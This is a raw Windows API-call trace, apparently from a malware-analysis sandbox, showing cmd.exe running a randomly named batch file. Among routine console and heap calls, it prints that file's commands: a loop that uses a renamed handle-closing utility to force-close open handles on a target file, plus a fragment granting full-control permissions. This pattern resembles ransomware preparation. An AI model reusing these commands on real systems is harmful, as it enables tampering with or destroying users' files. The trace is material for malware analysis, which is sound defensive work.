returned 0x2 [0083.155] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0083.156] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3aedfc | out: lpMode=0x3aedfc) returned 1 [0083.156] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.156] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x3aee28, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x3aee28*=0x2) returned 1 [0083.157] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0083.157] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0083.157] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x3aee38 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0083.157] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x3aee38 | out: _Buffer=">") returned 1 [0083.157] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.157] GetFileType (hFile=0x7) returned 0x2 [0083.158] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0083.158] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3aee00 | out: lpMode=0x3aee00) returned 1 [0083.158] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.158] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x3aee2c, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x3aee2c*=0x26) returned 1 [0083.158] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.158] GetFileType (hFile=0x7) returned 0x2 [0083.159] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0083.159] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3af084 | out: lpMode=0x3af084) returned 1 [0083.159] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.159] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x170dc0*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x3af0b0, lpReserved=0x0 | out: lpBuffer=0x170dc0*, lpNumberOfCharsWritten=0x3af0b0*=0x3) returned 1 [0083.159] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x3af0bc | out: _Buffer=" FN=\"To_Do_List.jtp\" ") returned 21 [0083.159] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.159] GetFileType (hFile=0x7) returned 0x2 [0083.160] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0083.160] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3af07c | out: lpMode=0x3af07c) returned 1 [0083.160] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.160] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x15, lpNumberOfCharsWritten=0x3af0a8, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x3af0a8*=0x15) returned 1 [0083.160] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x3af0dc | out: _Buffer="\r\n") returned 2 [0083.160] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.160] GetFileType (hFile=0x7) returned 0x2 [0083.160] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0083.160] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3af09c | out: lpMode=0x3af09c) returned 1 [0083.161] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.161] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x3af0c8, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x3af0c8*=0x2) returned 1 [0083.162] _wcsicmp (_String1="set", _String2="DIR") returned 15 [0083.162] _wcsicmp (_String1="set", _String2="ERASE") returned 14 [0083.162] _wcsicmp (_String1="set", _String2="DEL") returned 15 [0083.162] _wcsicmp (_String1="set", _String2="TYPE") returned -1 [0083.162] _wcsicmp (_String1="set", _String2="COPY") returned 16 [0083.162] _wcsicmp (_String1="set", _String2="CD") returned 16 [0083.162] _wcsicmp (_String1="set", _String2="CHDIR") returned 16 [0083.162] _wcsicmp (_String1="set", _String2="RENAME") returned 1 [0083.162] _wcsicmp (_String1="set", _String2="REN") returned 1 [0083.162] _wcsicmp (_String1="set", _String2="ECHO") returned 14 [0083.162] _wcsicmp (_String1="set", _String2="SET") returned 0 [0083.162] GetConsoleTitleW (in: lpConsoleTitle=0x3aec4c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0083.163] wcsncmp (_String1="FN", _String2="/", _MaxCount=0x4) returned 23 [0083.163] SetEnvironmentVariableW (lpName="FN", lpValue="\"To_Do_List.jtp\"") returned 1 [0083.163] GetProcessHeap () returned 0x170000 [0083.163] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x188198 | out: hHeap=0x170000) returned 1 [0083.163] GetEnvironmentStringsW () returned 0x186b40* [0083.163] GetProcessHeap () returned 0x170000 [0083.163] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0xb84) returned 0x1876d0 [0083.163] FreeEnvironmentStringsW (penv=0x186b40) returned 1 [0083.163] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.163] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0083.163] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.163] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0083.163] _get_osfhandle (_FileHandle=0) returned 0x3 [0083.163] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0083.164] SetConsoleInputExeNameW () returned 0x1 [0083.164] GetConsoleOutputCP () returned 0x1b5 [0083.164] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0083.164] SetThreadUILanguage (LangId=0x0) returned 0x409 [0083.164] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x3af084, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0083.164] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0083.164] _get_osfhandle (_FileHandle=3) returned 0x78 [0083.164] SetFilePointer (in: hFile=0x78, lDistanceToMove=63, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0083.165] GetProcessHeap () returned 0x170000 [0083.165] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1842b8 | out: hHeap=0x170000) returned 1 [0083.165] GetProcessHeap () returned 0x170000 [0083.165] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x184278 | out: hHeap=0x170000) returned 1 [0083.165] GetProcessHeap () returned 0x170000 [0083.165] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x171288 | out: hHeap=0x170000) returned 1 [0083.165] GetProcessHeap () returned 0x170000 [0083.165] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x170db8 | out: hHeap=0x170000) returned 1 [0083.165] GetProcessHeap () returned 0x170000 [0083.165] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x184218 | out: hHeap=0x170000) returned 1 [0083.165] GetProcessHeap () returned 0x170000 [0083.165] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x171258 | out: hHeap=0x170000) returned 1 [0083.165] GetProcessHeap () returned 0x170000 [0083.165] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x184190 | out: hHeap=0x170000) returned 1 [0083.165] _get_osfhandle (_FileHandle=3) returned 0x78 [0083.165] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0083.165] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x3af068, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x3af068*=0xa3, lpOverlapped=0x0) returned 1 [0083.165] SetFilePointer (in: hFile=0x78, lDistanceToMove=78, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0083.165] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=15, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="cd /d \"%~dp0\"\r\n\nUSERNAME%:F /C\r\n") returned 15 [0083.165] _get_osfhandle (_FileHandle=3) returned 0x78 [0083.165] GetFileType (hFile=0x78) returned 0x1 [0083.165] _get_osfhandle (_FileHandle=3) returned 0x78 [0083.165] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0083.165] GetProcessHeap () returned 0x170000 [0083.165] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x400a) returned 0x194b28 [0083.166] GetProcessHeap () returned 0x170000 [0083.166] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x70) returned 0x184190 [0083.166] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", nBufferLength=0x208, lpBuffer=0x3ae7f8, lpFilePart=0x3ae7f0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", lpFilePart=0x3ae7f0*="Bt3xnwko.bat") returned 0x32 [0083.166] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x3ae50c | out: lpFindFileData=0x3ae50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x171258 [0083.166] FindClose (in: hFindFile=0x171258 | out: hFindFile=0x171258) returned 1 [0083.166] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x3ae50c | out: lpFindFileData=0x3ae50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcec4dac0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xcec4dac0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x171258 [0083.166] FindClose (in: hFindFile=0x171258 | out: hFindFile=0x171258) returned 1 [0083.166] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0083.166] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x3ae50c | out: lpFindFileData=0x3ae50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x171258 [0083.166] FindClose (in: hFindFile=0x171258 | out: hFindFile=0x171258) returned 1 [0083.166] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", lpFindFileData=0x3ae50c | out: lpFindFileData=0x3ae50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe3eef60, ftCreationTime.dwHighDateTime=0x1d5d06a, ftLastAccessTime.dwLowDateTime=0xbe3eef60, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xbe3eef60, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bt3xnwko.bat", cAlternateFileName="")) returned 0x171258 [0083.166] FindClose (in: hFindFile=0x171258 | out: hFindFile=0x171258) returned 1 [0083.167] GetProcessHeap () returned 0x170000 [0083.167] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x56) returned 0x171258 [0083.167] GetProcessHeap () returned 0x170000 [0083.167] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x194b28 | out: hHeap=0x170000) returned 1 [0083.167] _tell (_FileHandle=3) returned 78 [0083.167] _close (_FileHandle=3) returned 0 [0083.167] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x3aee3c | out: _Buffer="\r\n") returned 2 [0083.168] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.168] GetFileType (hFile=0x7) returned 0x2 [0083.168] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0083.168] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3aedfc | out: lpMode=0x3aedfc) returned 1 [0083.168] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.168] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x3aee28, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x3aee28*=0x2) returned 1 [0083.169] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0083.170] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0083.170] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x3aee38 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0083.170] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x3aee38 | out: _Buffer=">") returned 1 [0083.170] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.170] GetFileType (hFile=0x7) returned 0x2 [0083.170] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0083.170] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3aee00 | out: lpMode=0x3aee00) returned 1 [0083.170] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.170] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x3aee2c, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x3aee2c*=0x26) returned 1 [0083.171] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.171] GetFileType (hFile=0x7) returned 0x2 [0083.171] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0083.171] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3af084 | out: lpMode=0x3af084) returned 1 [0083.171] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.171] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x170dc0*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x3af0b0, lpReserved=0x0 | out: lpBuffer=0x170dc0*, lpNumberOfCharsWritten=0x3af0b0*=0x2) returned 1 [0083.171] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x3af0bc | out: _Buffer=" /d \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\\" ") returned 45 [0083.172] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.172] GetFileType (hFile=0x7) returned 0x2 [0083.172] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0083.172] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3af07c | out: lpMode=0x3af07c) returned 1 [0083.172] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.172] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2d, lpNumberOfCharsWritten=0x3af0a8, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x3af0a8*=0x2d) returned 1 [0083.173] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x3af0dc | out: _Buffer="\r\n") returned 2 [0083.173] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.173] GetFileType (hFile=0x7) returned 0x2 [0083.174] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0083.174] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3af09c | out: lpMode=0x3af09c) returned 1 [0083.174] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.174] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x3af0c8, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x3af0c8*=0x2) returned 1 [0083.175] _wcsicmp (_String1="cd", _String2="DIR") returned -1 [0083.175] _wcsicmp (_String1="cd", _String2="ERASE") returned -2 [0083.175] _wcsicmp (_String1="cd", _String2="DEL") returned -1 [0083.175] _wcsicmp (_String1="cd", _String2="TYPE") returned -17 [0083.175] _wcsicmp (_String1="cd", _String2="COPY") returned -11 [0083.175] _wcsicmp (_String1="cd", _String2="CD") returned 0 [0083.175] GetConsoleTitleW (in: lpConsoleTitle=0x3aec4c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0083.176] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x3aea08, nVolumeNameSize=0x104, lpVolumeSerialNumber=0x3aea00, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x3aea00*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0083.176] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x104, lpBuffer=0x3ae7a4, lpFilePart=0x3ae7a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x3ae7a0*=0x0) returned 0x26 [0083.176] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0083.176] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x3ae520 | out: lpFindFileData=0x3ae520*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x1844e8 [0083.176] FindClose (in: hFindFile=0x1844e8 | out: hFindFile=0x1844e8) returned 1 [0083.176] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x3ae520 | out: lpFindFileData=0x3ae520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcec4dac0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xcec4dac0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x1844e8 [0083.176] FindClose (in: hFindFile=0x1844e8 | out: hFindFile=0x1844e8) returned 1 [0083.176] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0083.177] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x3ae520 | out: lpFindFileData=0x3ae520*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x1844e8 [0083.177] FindClose (in: hFindFile=0x1844e8 | out: hFindFile=0x1844e8) returned 1 [0083.177] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0083.177] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0083.177] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0083.177] GetProcessHeap () returned 0x170000 [0083.177] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1876d0 | out: hHeap=0x170000) returned 1 [0083.177] GetEnvironmentStringsW () returned 0x186b40* [0083.177] GetProcessHeap () returned 0x170000 [0083.177] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0xb84) returned 0x1876d0 [0083.177] FreeEnvironmentStringsW (penv=0x186b40) returned 1 [0083.177] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0083.177] GetProcessHeap () returned 0x170000 [0083.177] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x184488 | out: hHeap=0x170000) returned 1 [0083.177] GetProcessHeap () returned 0x170000 [0083.177] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x184428 | out: hHeap=0x170000) returned 1 [0083.177] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.177] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0083.177] _get_osfhandle (_FileHandle=1) returned 0x7 [0083.177] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0083.178] _get_osfhandle (_FileHandle=0) returned 0x3 [0083.178] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0083.178] SetConsoleInputExeNameW () returned 0x1 [0083.178] GetConsoleOutputCP () returned 0x1b5 [0083.178] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0083.178] SetThreadUILanguage (LangId=0x0) returned 0x409 [0083.178] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x3af084, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0083.179] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0083.179] _get_osfhandle (_FileHandle=3) returned 0x78 [0083.179] SetFilePointer (in: hFile=0x78, lDistanceToMove=78, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0083.179] GetProcessHeap () returned 0x170000 [0083.179] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1843b8 | out: hHeap=0x170000) returned 1 [0083.179] GetProcessHeap () returned 0x170000 [0083.179] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x184348 | out: hHeap=0x170000) returned 1 [0083.179] GetProcessHeap () returned 0x170000 [0083.179] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1842d8 | out: hHeap=0x170000) returned 1 [0083.179] GetProcessHeap () returned 0x170000 [0083.179] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x184268 | out: hHeap=0x170000) returned 1 [0083.179] GetProcessHeap () returned 0x170000 [0083.179] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x170db8 | out: hHeap=0x170000) returned 1 [0083.179] GetProcessHeap () returned 0x170000 [0083.179] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x184208 | out: hHeap=0x170000) returned 1 [0083.179] GetProcessHeap () returned 0x170000 [0083.179] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x171258 | out: hHeap=0x170000) returned 1 [0083.179] GetProcessHeap () returned 0x170000 [0083.179] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x184190 | out: hHeap=0x170000) returned 1 [0083.179] _get_osfhandle (_FileHandle=3) returned 0x78 [0083.179] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0083.179] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x3af068, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x3af068*=0x94, lpOverlapped=0x0) returned 1 [0083.179] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=148, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="FOR /F \"UseBackQ Tokens=3,6 delims=: \" %%I IN (`bv6ncK8c.exe -accepteula %FN% -nobanner`) DO (bv6ncK8c.exe -accepteula -c %%J -y -p %%I -nobanner)\r\n") returned 148 [0083.179] _get_osfhandle (_FileHandle=3) returned 0x78 [0083.180] GetFileType (hFile=0x78) returned 0x1 [0083.180] _get_osfhandle (_FileHandle=3) returned 0x78 [0083.180] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe2 [0083.180] GetProcessHeap () returned 0x170000 [0083.180] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x400a) returned 0x194b28 [0083.180] GetProcessHeap () returned 0x170000 [0083.180] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x4008) returned 0x198b40 [0083.181] GetProcessHeap () returned 0x170000 [0083.181] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0xe) returned 0x170db8 [0083.181] GetEnvironmentVariableW (in: lpName="FN", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="\"To_Do_List.jtp\"") returned 0x10 [0083.181] GetProcessHeap () returned 0x170000 [0083.181] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x170db8 | out: hHeap=0x170000) returned 1 [0083.181] GetProcessHeap () returned 0x170000 [0083.181] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x198b40 | out: hHeap=0x170000) returned 1 